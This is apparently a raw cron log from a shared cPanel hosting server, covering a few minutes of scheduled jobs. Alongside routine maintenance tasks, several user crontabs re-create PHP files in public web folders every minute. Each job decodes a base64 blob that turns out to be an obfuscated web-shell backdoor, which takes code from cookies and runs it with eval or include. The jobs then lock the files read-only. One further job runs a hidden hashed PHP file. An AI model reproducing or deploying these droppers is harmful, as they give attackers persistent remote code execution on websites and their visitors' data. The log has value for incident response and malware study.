Mar  1 05:10:02 medusa CROND[13143]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:10:02 medusa CROND[13149]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13155]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:10:02 medusa CROND[13159]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13161]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:10:02 medusa CROND[13169]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:10:02 medusa CROND[13170]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:10:02 medusa CROND[13176]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:10:02 medusa CROND[13172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:10:02 medusa CROND[13171]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13177]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:10:02 medusa CROND[13168]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 05:10:02 medusa CROND[13175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 05:10:02 medusa CROND[13198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:10:02 medusa CROND[13197]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:11:02 medusa CROND[4946]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:11:02 medusa CROND[4949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:11:02 medusa CROND[4950]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:11:02 medusa CROND[4951]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:11:02 medusa CROND[4952]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:11:02 medusa CROND[4957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:11:02 medusa CROND[4961]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:11:02 medusa CROND[4960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:11:02 medusa CROND[4963]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:11:02 medusa CROND[4962]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:11:02 medusa CROND[4964]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:11:02 medusa CROND[4965]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:11:02 medusa CROND[4969]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:12:02 medusa CROND[28944]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:12:02 medusa CROND[28946]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:12:02 medusa CROND[28945]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:12:02 medusa CROND[28947]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
